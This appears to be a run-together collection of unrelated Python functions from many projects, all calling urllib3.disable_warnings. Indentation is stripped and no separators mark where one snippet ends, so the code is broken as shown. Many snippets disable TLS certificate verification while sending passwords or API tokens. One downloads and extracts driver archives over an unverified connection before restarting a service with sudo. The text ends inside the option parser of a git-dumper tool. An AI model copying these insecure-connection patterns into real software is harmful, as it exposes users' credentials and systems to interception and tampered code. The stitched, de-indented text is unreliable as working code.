def _setup_session(self, profile):
"""
Set up a python-requests session for our usage.
"""
session = FuturesSession(max_workers=self.MAX_WORKERS)
session.proxies = self.PROXIES
session.verify = not self.logger.settings['ssl_insecure'] and self.VERIFY
if not session.verify:
try:
urllib3.disable_warnings()
except AttributeError:
self.logger.warning('Urllib3 is too old, warnings won\'t be disable')
# defines a max_retries. It's mandatory in case a server is not
# handling keep alive correctly, like the proxy burp
a = requests.adapters.HTTPAdapter(max_retries=self.MAX_RETRIES)
session.mount('http://', a)
session.mount('https://', a)
if self.TIMEOUT:
session.timeout = self.TIMEOUT
## weboob only can provide proxy and HTTP auth options
session.trust_env = False
profile.setup_session(session)
if self.logger.settings['save_responses']:
session.hooks['response'].append(self._save)
self.session = session
session.cookies = WeboobCookieJar()
def profile_device(dhcp_fingerprint, macaddr, vendor_class_id):
data = {}
data['dhcp_fingerprint'] = ','.join(map(str, dhcp_fingerprint))
data['debug'] = 'on'
data['mac'] = macaddr
data['vendor_class_id'] = vendor_class_id
print(f"Will attempt to profile using {dhcp_fingerprint}, {macaddr}, and {vendor_class_id}")
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
try:
response = requests.post(fingerbank_url,
headers=headers,
params=params,
data=json.dumps(data))
except requests.exceptions.HTTPError as e:
log_fingerbank_error(e, response)
return -1
log_fingerbank_response(response.json())
# If score is less than 30, there is very little confidence on the returned profile. Ignore it.
if (response.json()['score'] < 30):
return -1
return response.json()['device']['name']
def configure():
if "cygwin" in system().lower():
raise exception.CygwinEnvDetected()
# https://urllib3.readthedocs.org
# /en/latest/security.html#insecureplatformwarning
try:
import urllib3
urllib3.disable_warnings()
except (AttributeError, ImportError):
pass
# handle PLATFORMIO_FORCE_COLOR
if str(os.getenv("PLATFORMIO_FORCE_COLOR", "")).lower() == "true":
try:
# pylint: disable=protected-access
click._compat.isatty = lambda stream: True
except: # pylint: disable=bare-except
pass
# Handle IOError issue with VSCode's Terminal (Windows)
click_echo_origin = [click.echo, click.secho]
def _safe_echo(origin, *args, **kwargs):
try:
click_echo_origin[origin](*args, **kwargs)
except IOError:
(sys.stderr.write if kwargs.get("err") else
sys.stdout.write)("%s\n" % (args[0] if args else ""))
click.echo = lambda *args, **kwargs: _safe_echo(0, *args, **kwargs)
click.secho = lambda *args, **kwargs: _safe_echo(1, *args, **kwargs)
def download_zip(url: str) -> BytesIO:
"""Download data from url."""
logger.warning('start chromium download.\n'
'Download may take a few minutes.')
# disable warnings so that we don't need a cert.
# see https://urllib3.readthedocs.io/en/latest/advanced-usage.html for more
urllib3.disable_warnings()
with urllib3.PoolManager() as http:
# Get data from url.
# set preload_content=False means using stream later.
data = http.request('GET', url, preload_content=False)
try:
total_length = int(data.headers['content-length'])
except (KeyError, ValueError, AttributeError):
total_length = 0
process_bar = tqdm(total=total_length)
# 10 * 1024
_data = BytesIO()
for chunk in data.stream(10240):
_data.write(chunk)
process_bar.update(len(chunk))
process_bar.close()
logger.warning('\nchromium download done.')
return _data
def publish_plot(instrument, run_number, files, config=None):
# read the configuration if one isn't provided
if config is None:
config = read_configuration()
# verify that it has an attribute that matters
try:
config.publish_url
except AttributeError: # assume that it is a filename
config = read_configuration(config)
run_number = str(run_number)
url = _getURL(config.publish_url, instrument, run_number)
print('posting to \'%s\'' % url)
# these next 2 lines are explicity bad - and doesn't seem
# to do ANYTHING
# https://urllib3.readthedocs.org/en/latest/security.html
import urllib3
urllib3.disable_warnings()
import requests
request = requests.post(url, data={'username': config.publisher_username,
'password': config.publisher_password},
files=files, verify=False)
return request
def __init__(self, _url=None, token=None, _cert=None, _verify=True,
_timeout=30, _proxies=None, _allow_redirects=True,
_session=None):
self.version = None
self.vault_addr = os.environ.get('VAULT_ADDR')
if not self.vault_addr:
raise aomi.exceptions.AomiError('VAULT_ADDR is undefined or empty')
if not self.vault_addr.startswith("http"):
raise aomi.exceptions.AomiError('VAULT_ADDR must be a URL')
ssl_verify = True
if 'VAULT_SKIP_VERIFY' in os.environ:
if os.environ['VAULT_SKIP_VERIFY'] == '1':
import urllib3
urllib3.disable_warnings()
ssl_verify = False
self.initial_token = None
self.operational_token = None
session = requests.Session()
retries = Retry(total=5,
backoff_factor=0.5)
adapter = HTTPAdapter(max_retries=retries)
session.mount('https://', adapter)
session.mount('http://', adapter)
super(Client, self).__init__(url=self.vault_addr,
verify=ssl_verify,
session=session)
def download_if_needed(url, filename):
"""
Download from URL to filename unless filename already exists
"""
if os.path.exists(filename):
filenameExists=(filename, 'already exists')
return filenameExists
elif filename:
import requests
urllib3.disable_warnings()
try:
connection_pool = urllib3.PoolManager(retries=urllib3.Retry(5))
resp = connection_pool.request('GET',url,timeout=urllib3.Timeout(total=5.0))
f = open(filename, 'wb')
f.write(resp.data)
f.close()
resp.release_conn()
downloadSuccessful=('Downloading', filename)
return(downloadSuccessful)
except MaxRetryError as e:
exception='Could not connect to server. Please check to make sure the URL is valid and try again.'
return exception
except LocationValueError as e:
exception=str(e)
return exception
else:
warningMessage='Please input a correct filename.'
return warningMessage
def request(self, method, url, verify=False, random_ua=False, allow_post_redirects=False, *args, **kwargs):
self.headers.update({'Accept-Encoding': 'gzip, deflate',
'User-Agent': (sickrage.app.user_agent, UserAgent().random)[random_ua]})
if not verify:
disable_warnings()
if allow_post_redirects and method == 'POST':
sickrage.app.log.debug('Retrieving redirect URL for {url}'.format(**{'url': url}))
response = super(WebSession, self).request(method, url, allow_redirects=False)
url = self.get_redirect_target(response) or url
response = super(WebSession, self).request(method, url, verify=self._get_ssl_cert(verify), *args, **kwargs)
if self.cloudflare:
response = WebHelpers.cloudflare(self, response, **kwargs)
try:
# check web response for errors
response.raise_for_status()
except requests.exceptions.SSLError as e:
if ssl.OPENSSL_VERSION_INFO < (1, 0, 1, 5):
sickrage.app.log.info(
"SSL Error requesting url: '{}' You have {}, try upgrading OpenSSL to 1.0.1e+".format(
e.request.url, ssl.OPENSSL_VERSION))
if sickrage.app.config.ssl_verify:
sickrage.app.log.info(
"SSL Error requesting url: '{}', try disabling cert verification in advanced settings".format(
e.request.url))
except Exception:
pass
return response
def cached_download(latitude, longitude, radius):
cache_file_name = 'raw_data/mcdonalds_%s_%s_%d.json' % (latitude, longitude, radius)
print('cache_file_name = ' + cache_file_name)
url = "https://www.mcdonalds.com/googleapps/GoogleRestaurantLocAction.do?method=searchLocation&latitude=%s&longitude=%s&radius=%d&maxResults=100&country=ca&language=en-ca"% (latitude, longitude, radius)
print('downloading from ' + url)
if os.path.isfile(cache_file_name):
with open(cache_file_name, 'rb') as cache_file:
print('retrieved from cache')
return json.load(cache_file)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
headers = {
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'accept-Encoding': 'gzip, deflate, br',
'accept-Language': 'en-US,en;q=0.5',
'connection': 'keep-alive',
'DNT': '1',
'Host': 'www.mcdonalds.com',
'upgrade-insecure-requests': '1',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0',
}
response = requests.get(url, headers=headers, verify=False)
response = response.json()
with open(cache_file_name, 'w') as cache_file:
json.dump(response, cache_file)
return response
def __init__(self, connect_str=None, config=None):
connect_args = {}
if(config.protocol):
connect_args['protocol'] = config.protocol
# if(config.requests_kwargs):
# connect_args["requests_kwargs"] = config.requests_kwargs
if(config.auth_filename):
urllib3.disable_warnings(urllib3.exceptions.SecurityWarning)
f = open(config.auth_filename)
creds = f.read().splitlines()
if(connect_args.get("requests_kwargs")==None):
connect_args["requests_kwargs"] = {}
connect_args["requests_kwargs"]["auth"] = requests.auth.HTTPBasicAuth(creds[0], creds[1])
f.close()
if(config.verify_filename):
urllib3.disable_warnings(urllib3.exceptions.SecurityWarning)
if(connect_args.get("requests_kwargs")==None):
connect_args["requests_kwargs"] = {}
connect_args["requests_kwargs"]["verify"] = config.verify_filename
# 'protocol': 'https',
# 'requests_kwargs' : requests_kwargs
# }
try:
self.engine = sqlalchemy.create_engine(connect_str, connect_args = connect_args)
except: # TODO: bare except; but what's an ArgumentError?
print(self.tell_format())
raise
self.dialect = self.engine.url.get_dialect()
self.metadata = sqlalchemy.MetaData(bind=self.engine)
self.name = self.assign_name(self.engine)
self.session = self.engine.connect()
self.connections[self.name] = self
self.connections[str(self.metadata.bind.url)] = self
Connection.current = self
def __init__(
self, client_service, keyfile, keytab, server, realm,
ldap_uri=None, auth_type=None):
self.client_service = client_service
self.keytab = keytab
# Init creds immediately to make sure they are valid. Creds
# can also be re-inited by _auth_header to avoid expiry.
#
self.creds = self.init_creds()
self.service_name = gssapi.Name('HTTP@%s' % (server,),
gssapi.NameType.hostbased_service)
self.server = server
self.ikk = IPAKEMKeys({'server_keys': keyfile, 'ldap_uri': ldap_uri})
self.kemcli = KEMClient(self._server_keys(server, realm),
self._client_keys())
self.keystore = self._keystore(realm, ldap_uri, auth_type)
# FIXME: Remove warnings about missing subjAltName for the
# requests module
urllib3.disable_warnings()
def reader(username, password, url, cmd, timeout = 10):
""" Create a connection and return response if valid """
headers = {'content-type': 'application/json-rpc'}
payload = [{"jsonrpc": "2.0",
"method": "cli",
"params": {"cmd": cmd,
"version": 1},
"id": 1}
]
try:
urllib3.disable_warnings()
requests.packages.urllib3.disable_warnings()
response = requests.post(url, data=json.dumps(payload), headers=headers, auth=(username, password), verify=False, timeout=timeout).json()
if _isjson(response):
if _hasValidParams(response):
return response
else:
nagios_msg(3, "cisco command: " + response['error']['message'] )
else:
nagios_msg(3, "invalid or empty JSON object")
except requests.exceptions.RequestException as e:
nagios_msg(3, "Connection error: " + str(e))
def cli(debug, config_dir, output, query):
"""CloudMunch CLI.\n
This is a CLI tool for executing commands against CloudMunch API.
"""
log = logging.getLogger('cloudmunch')
stdoutHanlder = logging.StreamHandler()
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
stdoutHanlder.setFormatter(formatter)
log.addHandler(stdoutHanlder)
if debug:
log.setLevel(logging.DEBUG)
import httplib
httplib.HTTPConnection.debuglevel = 1
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True
if sys.version_info >= (2,7):
logging.captureWarnings(True)
else:
log.setLevel(logging.NOTSET)
urllib3.disable_warnings()
if sys.version_info >= (2,7):
logging.captureWarnings(False)
log.info('Setting config dir to %s' % config_dir)
log.info('Python version is %s - %s' % (sys.version, sys.hexversion))
cloudmunch.config.config_dir = config_dir
cloudmunch.config.credentials = cloudmunch.config.Credentials(cloudmunch.config.config_dir)
cloudmunch.config.config = cloudmunch.config.Config(cloudmunch.config.config_dir)
def load_drivers(self):
subprocess.check_call("sudo mount -o remount,rw /", shell=True)
subprocess.check_call("sudo mount -o remount,rw /root_bypass_ramdisks", shell=True)
mac = subprocess.check_output("/sbin/ifconfig eth0 |grep -Eo ..\(\:..\){5}", shell=True).decode('utf-8').split('\n')[0]
#response = requests.get(url, auth=(username, db_uuid.split('\n')[0]), stream=True)
server = get_odoo_server_url()
if server:
urllib3.disable_warnings()
pm = urllib3.PoolManager(cert_reqs='CERT_NONE')
resp = False
server = server + '/iot/get_drivers'
try:
resp = pm.request('POST',
server,
fields={'mac': mac})
except Exception as e:
_logger.error('Could not reach configured server')
_logger.error('A error encountered : %s ' % e)
if resp and resp.data:
zip_file = zipfile.ZipFile(io.BytesIO(resp.data))
zip_file.extractall(get_resource_path('hw_drivers', 'drivers'))
subprocess.check_call("sudo service odoo restart", shell=True)
subprocess.check_call("sudo mount -o remount,ro /", shell=True)
subprocess.check_call("sudo mount -o remount,ro /root_bypass_ramdisks", shell=True)
return "<meta http-equiv='refresh' content='20; url=http://" + get_ip() + ":8069/list_drivers'>"
def _CheckPythonVersionAndDisableWarnings(self):
"""Checks python version, and disables SSL warnings.
urllib3 will warn on each HTTPS request made by older versions of Python.
Rather than spamming the user, we print one warning message, then disable
warnings in urllib3.
"""
if self._checked_for_old_python_version:
return
if sys.version_info[0:3] < (2, 7, 9):
logging.warn(
u'You are running a version of Python prior to 2.7.9. Your version '
u'of Python has multiple weaknesses in its SSL implementation that '
u'can allow an attacker to read or modify SSL encrypted data. '
u'Please update. Further SSL warnings will be suppressed. See '
u'https://www.python.org/dev/peps/pep-0466/ for more information.')
# Some distributions de-vendor urllib3 from requests, so we have to
# check if this has occurred and disable warnings in the correct
# package.
if (hasattr(requests, u'packages') and
hasattr(requests.packages, u'urllib3') and
hasattr(requests.packages.urllib3, u'disable_warnings')):
requests.packages.urllib3.disable_warnings()
else:
if urllib3 and hasattr(urllib3, u'disable_warnings'):
urllib3.disable_warnings()
self._checked_for_old_python_version = True
def http_session(self, retries=None):
"""Returns a :class:`requests.Session` object. A new session is
created if it doesn't already exist."""
http_session = getattr(self, '_http_session', None)
# try to get the source definition if available
source_definition = getattr(self, 'source_definition', {})
if not retries:
retries = source_definition.get('http_retries', 0)
if not http_session:
urllib3.disable_warnings()
session = requests.Session()
session.headers['User-Agent'] = USER_AGENT
http_retry = CustomRetry(total=retries, status_forcelist=[500, 503],
backoff_factor=.4)
http_adapter = HTTPAdapter(max_retries=http_retry)
session.mount('http://', http_adapter)
http_retry = CustomRetry(total=retries, status_forcelist=[500, 503],
backoff_factor=.4)
http_adapter = HTTPAdapter(max_retries=http_retry)
session.mount('https://', http_adapter)
self._http_session = session
return self._http_session
def _doPushToHCP(self,hcpDeviceId,messageTypeIdToDevice,payload,dummyMode=False):
try:
urllib3.disable_warnings()
except:
print("urllib3.disable_warnings() failed - get a recent enough urllib3 version to avoid potential InsecureRequestWarning warnings! Will continue though.")
# use with or without proxy
if (config.proxy_url == ''):
http = urllib3.PoolManager()
else:
http = urllib3.proxy_from_url(config.proxy_url)
push_url='https://iotmms' + config.hcp_account_id + config.hcp_landscape_host + '/com.sap.iotservices.mms/v1/api/http/push/' + str(hcpDeviceId)
self.info('push url:\n ' + push_url)
# use with authentication
headers = urllib3.util.make_headers(user_agent=None)
headers['Authorization'] = config.hcp_authorization_header
headers['Content-Type'] = 'application/json;charset=utf-8'
bodyObj = {
'method' : self.method,
'sender' : self.name,
'messageType' : messageTypeIdToDevice,
'messages' : [payload]
}
body = json.dumps(bodyObj)
self.info('message body:\n ' + body)
if dummyMode:
#self.info("Dummy mode is active, not pushing anything to HCP.")
return
try:
r = http.urlopen('POST', push_url, body=body, headers=headers)
self.info('push_to_hcp(): ' + str(r.status) + ' ' + r.data)
except Exception as e:
self.info(str(e))
def _build_cluster_configs(cluster_list):
cluster_configs = []
for cluster in cluster_list:
username, password, verify_ssl = _get_cluster_auth_data(cluster)
if cluster in g_cluster_configs:
cluster_name, isi_sdk, api_client, version = \
g_cluster_configs[cluster]
else:
if verify_ssl is False:
urllib3.disable_warnings()
try:
isi_sdk, api_client, version = \
isi_sdk_utils.configure(
cluster, username, password, verify_ssl)
except RuntimeError as exc:
print >> sys.stderr, "Failed to configure SDK for " \
"cluster %s. Exception raised: %s" \
% (cluster, str(exc))
sys.exit(1)
print "Configured %s as version %d cluster, using SDK %s." \
% (cluster, int(version), isi_sdk.__name__)
cluster_name = \
_query_cluster_name(cluster, isi_sdk, api_client)
g_cluster_configs[cluster] = \
cluster_name, isi_sdk, api_client, version
cluster_config = \
ClusterConfig(
cluster, cluster_name, version, isi_sdk, api_client)
cluster_configs.append(cluster_config)
return cluster_configs
def request(self, method, url, headers, post_data=None, **kwargs):
import urllib3
from urllib3.util.retry import Retry
urllib3.disable_warnings()
retries = Retry(total=False, connect=None, read=None, redirect=None)
pool_kwargs = {}
if self._verify_ssl_certs:
pool_kwargs['cert_reqs'] = 'CERT_REQUIRED'
pool_kwargs['ca_certs'] = os.path.join(
os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'data/ca-certificates.crt')
if self._allow_redirect:
kwargs['redirect'] = True
else:
kwargs['redirect'] = False
# 如果是长连接模式
if self._conn_pool:
global conn_pool
if not conn_pool:
conn_pool = urllib3.PoolManager(num_pools=max(100, self._conn_pool), maxsize=max(100, self._conn_pool), **pool_kwargs)
conn = conn_pool
else:
conn = urllib3.PoolManager(**pool_kwargs)
result = conn.request(method=method, url=url, body=post_data, headers=headers, timeout=self._timeout, retries=retries, **kwargs)
self.content, self.code, self.headers = result.data, result.status, result.headers
return self.content, self.code, self.headers
def download_distro(self):
"""
Download the distribution from self.distro_url and extract it to self.distro_path
"""
if self.verbose >= 2:
print("attempting to download distribution from %s and extract to %s " %
(self.distro_url, self.distro_path))
tmp_distro_zip = '/tmp/distro.zip'
tmp_unzipped_location = '/tmp/distro_unzipped'
downloader = urllib3.PoolManager(cert_reqs='CERT_NONE')
# disabling warnings to prevent scaring the user with InsecureRequestWarning
urllib3.disable_warnings()
downloaded_distro = downloader.request('GET', self.distro_url)
with open(tmp_distro_zip, 'wb') as f:
f.write(downloaded_distro.data)
downloaded_distro.release_conn()
# after the .zip is extracted we want to rename it to be the distro_path which may have
# been given by the user
distro_zip = zipfile.ZipFile(tmp_distro_zip, 'r')
distro_zip.extractall(tmp_unzipped_location)
unzipped_distro_folder = os.listdir(tmp_unzipped_location)
# if the distro_path already exists, we wont overwrite it and just continue hoping what's
# there is relevant (and maybe already put there by this tool earlier)
try:
os.rename(tmp_unzipped_location + "/" + unzipped_distro_folder[0], self.distro_path)
except OSError as e:
print(e)
print("Unable to move extracted files from %s to %s. Using whatever bits are already there" %
(tmp_unzipped_location, self.distro_path))
def get_external_ip_address():
"""
Get the IP address of this machine as seen from the outside world. THis
function is primarily used during various internal testing of the Yombo
Gateway. This information is reported to the Yombo Service, however, the
Yombo Service already knows you're IP address during the process of
downloading configuration files.
Yombo servers will only use this information if server "getpeer.ip()" function
results in a private IP address. See: http://en.wikipedia.org/wiki/Private_network
This assists in Yombo performing various tests internally, but still providing
an ability to do further tests.
Gives Yombo servers a hint of your external ip address from your view. This
should be the same as what Yombo servers see when you connect.
This is called only once during the startup phase. Calling this function too
often can result in the gateway being blocked by whatismyip.org
.. warning::
This is 100% blocking code. A replacement will be coming soon.
:return: An ip address
:rtype: string
"""
import urllib3
urllib3.disable_warnings() # just getting client IP address from outside view. Not a big issue here.
http = urllib3.PoolManager()
r = http.request("GET", "https://yombo.net/tools/clientip.php")
return r.data.strip()
def test_disable_warnings(self):
with warnings.catch_warnings(record=True) as w:
clear_warnings()
warnings.warn('This is a test.', InsecureRequestWarning)
assert len(w) == 1
disable_warnings()
warnings.warn('This is a test.', InsecureRequestWarning)
assert len(w) == 1
def test_disable_warnings(self):
with warnings.catch_warnings(record=True) as w:
clear_warnings()
warnings.warn("This is a test.", InsecureRequestWarning)
self.assertEqual(len(w), 1)
disable_warnings()
warnings.warn("This is a test.", InsecureRequestWarning)
self.assertEqual(len(w), 1)
def __init__(self, config):
try:
urllib3.disable_warnings()
except:
pass
# preload any registries necessary
if "client" in config:
if "registry_preload" in config["client"]:
mplane.model.preload_registry(
config["client"]["registry_preload"])
if "registry_uri" in config["client"]:
registry_uri = config["client"]["registry_uri"]
else:
registry_uri = None
else:
registry_uri = None
# load default registry
mplane.model.initialize_registry(registry_uri)
super().__init__()
tls_state = mplane.tls.TlsState(config)
self._defaults = {}
self._when = None
# don't print tracebacks by default
self._print_tracebacks = False
# default workflow is client-initiated
# FIXME this should be boolean instead
self._workflow = "client-initiated"
if "client" in config:
if "workflow" in config["client"]:
self._workflow = config["client"]["workflow"]
if self._workflow == "component-initiated":
self._client = mplane.client.HttpListenerClient(config=config,
tls_state=tls_state)
elif self._workflow == "client-initiated":
self._client = mplane.client.HttpInitiatorClient(config=config,
tls_state=tls_state)
else:
raise ValueError("workflow setting in " + args.CONF +
" can only be 'client-initiated' or \
'component-initiated'")
if "client" in config and self._workflow != "component-initiated":
if "default-url" in config["client"]:
self.do_seturl(config["client"]["default-url"])
if "capability-url" in config["client"]:
self.do_getcap(config["client"]["capability-url"])
def test_https_big_download(run_servefile, datadir):
# test with about 10 mb of data
data = "x" * (10 * 1024 ** 2)
p = datadir({'testfile': data}) / 'testfile'
run_servefile(['--ssl', str(p)])
time.sleep(0.2) # time for generating ssl certificates
urllib3.disable_warnings()
check_download(data, protocol='https', verify=False)
def disableInsecureRequestWarning():
try:
try:
urllib3 = requests.packages.urllib3
except AttributeError:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception as e:
ERROR('无法禁用 InsecureRequestWarning ，原因：%s', e)
def ObtainClient():
connection_policy = documents.ConnectionPolicy()
connection_policy.SSLConfiguration = documents.SSLConfiguration()
# Try to setup the cacert.pem
# connection_policy.SSLConfiguration.SSLCaCerts = CaCertPath
# Else, disable verification
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
connection_policy.SSLConfiguration.SSLCaCerts = False
return cosmos_client.CosmosClient(HOST, {'masterKey': MASTER_KEY}, connection_policy)
def main():
urllib3.disable_warnings()
music = '/home/netman/project/music'
os.chdir(music)
songs = sorted(os.listdir(music))
print '''THANKS FOR USING WEATHER ADAPTIVE MUSIC PLAYER
TAGS : SLOW, MEDIUM, FAST
'''
add_tags(songs)
def get_github_release(user, name, release='latest'):
try:
urllib3.disable_warnings()
user_agent = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36'}
http = urllib3.PoolManager(headers=user_agent)
r = http.request('GET', 'https://api.github.com/repos/%s/%s/releases/%s' % ( str(user), str(name), str(release) ))
return json.loads(r.data.decode('utf-8'))
except Exception as e:
print(e)
return None
def __init__(self, config_path=None, config_dict=None):
self.session = None
self.config = CONFIG_DEFAULT.copy()
self.config_checked = False
self.load_config(config_path)
if config_dict:
self.update_config(config_dict)
if not self.config['VERIFY_SSL']:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def test_dataplane_api(dataplane_api):
api = dataplane_api()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Create an asset
print("Creating an asset in the dataplane")
create_asset_response = api.create_asset()
assert create_asset_response.status_code == 200
asset = create_asset_response.json()
asset_id = asset["AssetId"]
print("Successfully created asset in the dataplane: {asset}".format(
asset=asset))
# Add metadata to the asset
print("Adding nonpaginated metadata to asset: {asset}".format(
asset=asset_id))
nonpaginated_post_response = api.post_metadata(
asset_id, session_nonpaginated_results)
assert nonpaginated_post_response.status_code == 200
nonpaginated_post_results = nonpaginated_post_response.json()
print("Successfully stored nonpaginated results for: {asset}".format(
asset=asset_id))
print(nonpaginated_post_results)
print("Adding paginated metadata to asset: {asset}".format(asset=asset_id))
pages_stored = 0
while 2 > pages_stored:
store_page_response = api.post_metadata(asset_id,
session_paginated_results,
paginate=True)
assert store_page_response.status_code == 200
print("Successfully stored a page of results")
pages_stored += 1
paginated_post_response = api.post_metadata(asset_id,
session_paginated_results,
paginate=True,
end=True)
assert paginated_post_response.status_code == 200
paginated_post_results = paginated_post_response.json()
print("Successfully stored paginated results for: {asset}".format(
asset=asset_id))
print(paginated_post_results)
# TODO: This test is currently broken. Seems to be a real issue with the API that needs looked into.
# Retrieve all metadata from the asset
print("Retrieving all metadata for the asset: {asset}".format(
asset=asset_id))
cursor = None
more_results = True
while more_results:
retrieve_metadata_response = api.get_all_metadata(asset_id, cursor)
assert retrieve_metadata_response.status_code == 200
retrieved_metadata = retrieve_metadata_response.json()
print(retrieved_metadata)
if "cursor" in retrieved_metadata:
cursor = retrieved_metadata["cursor"]
else:
more_results = False
print("Successfully retrieved all metadata for asset: {asset}".format(
asset=asset_id))
# Retrieve specific metadata from the asset
print("Retrieving sample metadata for the asset: {asset}".format(
asset=asset_id))
retrieve_single_metadata_response = api.get_single_metadata_field(
asset_id, session_nonpaginated_results)
assert retrieve_single_metadata_response.status_code == 200
retrieved_single_metadata = retrieve_single_metadata_response.json()
print("Retrieved {operator} results for asset: {asset}".format(
operator=session_nonpaginated_results["OperatorName"], asset=asset_id))
print(retrieved_single_metadata)
# Delete specific metadata
print("Deleting specific metadata for the asset: {asset}".format(
asset=asset_id))
delete_metadata_response = api.delete_single_metadata_field(
asset_id, session_nonpaginated_results)
assert delete_metadata_response.status_code == 200
deleted_metadata = delete_metadata_response.json()
print("Successfully deleted metadata field: {operator} for asset: {asset}".
format(operator=session_nonpaginated_results["OperatorName"],
asset=asset_id))
print(deleted_metadata)
# Delete entire asset
print("Deleting the asset from the dataplane")
delete_asset_response = api.delete_asset(asset_id)
assert delete_asset_response.status_code == 200
deleted_asset = delete_asset_response.text
print(deleted_asset)
print("Dataplane API tests complete")
"""
from urllib3 import disable_warnings
from urllib3.exceptions import InsecureRequestWarning, HTTPError
import yaml as yaml_tool
from kubernetes import client
from kubernetes.client.rest import ApiException
from hackathon.constants import HEALTH, HEALTH_STATUS, K8S_DEPLOYMENT_STATUS
from .service_adapter import ServiceAdapter
from .errors import DeploymentError, ServiceError, StatefulSetError, PVCError
__all__ = ["K8SServiceAdapter"]
disable_warnings(InsecureRequestWarning)
class K8SServiceAdapter(ServiceAdapter):
def __init__(self, api_url, token, namespace):
configuration = client.Configuration()
configuration.host = api_url
configuration.api_key['authorization'] = 'bearer ' + token
# FIXME import ca cert file?
configuration.verify_ssl = False
self.namespace = namespace
self.api_url = api_url
self.api_client = client.ApiClient(configuration)
super(K8SServiceAdapter, self).__init__(self.api_client)
def pure_host_monitoring():
try:
'''Get the argument from Zabbix'''
ip = str(sys.argv[2]) #IP of the Pure Storage Array
token = str(sys.argv[3]) #API Token
hostname = str(sys.argv[4]) #Host Name
host = str(sys.argv[5]) #Host name (for the sender)
zabbixIP = str(
sys.argv[6]) #Zabbix Proxy or Server IP (for the sender)
'''
Disable the SSL Warning from the output
'''
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
'''Get data'''
arrayConnect = purestorage.FlashArray(ip, api_token=token)
hostMonitoring = arrayConnect.get_host(host=hostname, action="monitor")
'''Will disable the output to console'''
FNULL = open(os.devnull, 'w')
'''Sending data'''
if "input_per_sec" in hostMonitoring:
arrayInputPerSec = str(hostMonitoring["input_per_sec"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.host.input.per.second[" + hostname + "]", "-o",
arrayInputPerSec
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "output_per_sec" in hostMonitoring:
arrayOutputPerSec = str(hostMonitoring["output_per_sec"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.host.output.per.second[" + hostname + "]", "-o",
arrayOutputPerSec
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "reads_per_sec" in hostMonitoring:
arrayReadPerSec = str(hostMonitoring["reads_per_sec"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.host.read.per.sec[" + hostname + "]", "-o",
arrayReadPerSec
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "san_usec_per_read_op" in hostMonitoring:
arraySanUsecPerReadOp = str(hostMonitoring["san_usec_per_read_op"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.host.san.usec.per.read[" + hostname + "]", "-o",
arraySanUsecPerReadOp
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "san_usec_per_write_op" in hostMonitoring:
arraySanUsecPerWriteOp = str(
hostMonitoring["san_usec_per_write_op"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.host.san.usec.per.write[" + hostname + "]", "-o",
arraySanUsecPerWriteOp
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "usec_per_read_op" in hostMonitoring:
arrayUsecPerReadOp = str(hostMonitoring["usec_per_read_op"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.host.usec.per.read[" + hostname + "]", "-o",
arrayUsecPerReadOp
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "usec_per_write_op" in hostMonitoring:
arrayUsecPerWriteOp = str(hostMonitoring["usec_per_write_op"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.host.usec.per.write[" + hostname + "]", "-o",
arrayUsecPerWriteOp
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "writes_per_sec" in hostMonitoring:
arrayWritePerSec = str(hostMonitoring["writes_per_sec"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.host.write.per.sec[" + hostname + "]", "-o",
arrayWritePerSec
],
stdout=FNULL,
stderr=subprocess.STDOUT)
'''Send 1 to give a result to Zabbix'''
print(1)
except:
'''
Sending 0 to Zabbix instead of a Python error.
Like that the items won't be considered as "unsupported"
'''
print(0)
def main():
parser = argparse.ArgumentParser(
usage="git-dumper [options] URL DIR",
description="Dump a git repository from a website.",
)
parser.add_argument("url", metavar="URL", help="url")
parser.add_argument("directory", metavar="DIR", help="output directory")
parser.add_argument("--proxy", help="use the specified proxy")
parser.add_argument(
"-j",
"--jobs",
type=int,
default=10,
help="number of simultaneous requests",
)
parser.add_argument(
"-r",
"--retry",
type=int,
default=3,
help="number of request attempts before giving up",
)
parser.add_argument(
"-t",
"--timeout",
type=int,
default=3,
help="maximum time in seconds before giving up",
)
parser.add_argument(
"-u",
"--user-agent",
type=str,
default=
"Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0",
help="user-agent to use for requests",
)
parser.add_argument(
"-H",
"--header",
type=str,
action="append",
help="additional http headers, e.g `NAME=VALUE`",
)
args = parser.parse_args()
# jobs
if args.jobs < 1:
parser.error("invalid number of jobs, got `%d`" % args.jobs)
# retry
if args.retry < 1:
parser.error("invalid number of retries, got `%d`" % args.retry)
# timeout
if args.timeout < 1:
